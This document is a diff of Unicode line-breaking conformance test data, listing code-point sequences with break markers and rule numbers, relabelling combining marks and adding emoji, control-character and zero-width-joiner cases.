× 002D × 0020 ÷ 11A8 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 002D × 0308 ÷ 11A8 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 002D × 0308 ÷ 11A8 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 002D ÷ 1160 ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 002D × 0020 ÷ 1160 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 002D × 0308 ÷ 1160 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 1160 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 002D × 0308 ÷ 1160 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 1160 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 002D × 000A ÷ # × [0.3] HYPHEN-MINUS (HY) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 002D × 0020 × 000A ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 002D × 0308 × 000A ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 002D × 0308 × 0020 × 000A ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 002D × 0308 × 000A ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 002D × 0308 × 0020 × 000A ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 002D × 0085 ÷ # × [0.3] HYPHEN-MINUS (HY) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 002D × 0020 × 0085 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 002D × 0308 × 0085 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 002D × 0308 × 0020 × 0085 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 002D × 0308 × 0085 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 002D × 0308 × 0020 × 0085 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 002D × 17D6 ÷ # × [0.3] HYPHEN-MINUS (HY) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 002D × 0020 ÷ 17D6 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 002D × 0308 × 17D6 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 002D × 0308 × 17D6 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 002D × 0030 ÷ # × [0.3] HYPHEN-MINUS (HY) × [25.02] DIGIT ZERO (NU) ÷ [0.3]
× 002D × 0020 ÷ 0030 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 002D × 0308 × 0030 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [25.02] DIGIT ZERO (NU) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 0030 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 002D × 0308 × 0030 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [25.02] DIGIT ZERO (NU) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 0030 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 002D ÷ 0028 ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 002D × 0020 ÷ 0028 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 002D × 0308 ÷ 0028 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 0028 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 002D × 0308 ÷ 0028 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 0028 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 002D ÷ 0025 ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
× 002D × 0020 ÷ 0025 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 002D × 0308 ÷ 0025 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 0025 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 002D × 0308 ÷ 0025 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 0025 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 002D ÷ 0024 ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× 002D × 0020 ÷ 0024 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 002D × 0308 ÷ 0024 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 0024 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 002D × 0308 ÷ 0024 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 0024 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 002D × 0022 ÷ # × [0.3] HYPHEN-MINUS (HY) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 002D × 0020 ÷ 0022 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 002D × 0308 × 0022 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 0022 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 002D × 0308 × 0022 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 0022 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 002D × 0020 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [0.3]
× 002D × 0020 × 0020 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 002D × 0308 × 0020 × 0020 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 002D × 0308 × 0020 × 0020 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 002D × 002F ÷ # × [0.3] HYPHEN-MINUS (HY) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 002D × 0020 × 002F ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 002D × 0308 × 002F ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 002D × 0308 × 0020 × 002F ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 002D × 0308 × 002F ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 002D × 0308 × 0020 × 002F ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 002D × 2060 ÷ # × [0.3] HYPHEN-MINUS (HY) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 002D × 0020 × 2060 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 002D × 0308 × 2060 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 002D × 0308 × 0020 × 2060 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 002D × 0308 × 2060 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 002D × 0308 × 0020 × 2060 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 002D × 200B ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 002D × 0020 × 200B ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 002D × 0308 × 200B ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 002D × 0308 × 0020 × 200B ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 002D × 0308 × 200B ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 002D × 0308 × 0020 × 200B ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 002D ÷ 1F1E6 ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 002D × 0020 ÷ 1F1E6 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 002D × 0308 ÷ 1F1E6 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 002D × 0308 ÷ 1F1E6 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 002D ÷ 261D ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 002D × 0020 ÷ 261D ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 002D × 0308 ÷ 261D ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 261D ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 002D ÷ 1F3FB ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 002D × 0020 ÷ 1F3FB ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 002D × 0308 ÷ 1F3FB ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 002D × 0001 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 002D × 0020 ÷ 0001 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 002D × 0308 × 0001 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 0001 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 002D × 200D ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 002D × 0020 ÷ 200D ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 002D × 0308 × 200D ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 200D ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 002D ÷ 00A7 ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 002D × 0020 ÷ 00A7 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 002D × 0308 ÷ 00A7 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 002D × 0308 ÷ 00A7 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 002D ÷ 50005 ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 002D × 0020 ÷ 50005 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 002D × 0308 ÷ 50005 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 50005 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 002D × 0308 ÷ 50005 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 50005 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 002D ÷ 0E01 ÷ # × [0.3] HYPHEN-MINUS (HY) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 002D × 0020 ÷ 0E01 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 002D × 0308 ÷ 0E01 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 002D × 0308 ÷ 0E01 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 002D × 3041 ÷ # × [0.3] HYPHEN-MINUS (HY) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 002D × 0020 ÷ 3041 ÷ # × [0.3] HYPHEN-MINUS (HY) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 002D × 0308 × 3041 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 002D × 0308 × 0020 ÷ 3041 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 002D × 0308 × 3041 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 002D × 0308 × 0020 ÷ 3041 ÷ # × [0.3] HYPHEN-MINUS (HY) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 231A ÷ 0023 ÷ # × [0.3] WATCH (ID) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
× 231A × 0020 ÷ 0023 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 231A × 0308 ÷ 0023 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 0023 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 231A × 0308 ÷ 0023 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 0023 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 231A ÷ 2014 ÷ # × [0.3] WATCH (ID) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 231A × 0020 ÷ 2014 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 231A × 0308 ÷ 2014 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 2014 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 231A × 0308 ÷ 2014 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 2014 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 231A × 0009 ÷ # × [0.3] WATCH (ID) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 231A × 0020 ÷ 0009 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 231A × 0308 × 0009 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 231A × 0308 × 0020 ÷ 0009 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 231A × 0308 × 0009 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 231A × 0308 × 0020 ÷ 0009 ÷ # × [0.3] WATCH (ID) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 231A ÷ 00B4 ÷ # × [0.3] WATCH (ID) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 231A × 0020 ÷ 00B4 ÷ # × [0.3] WATCH (ID) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
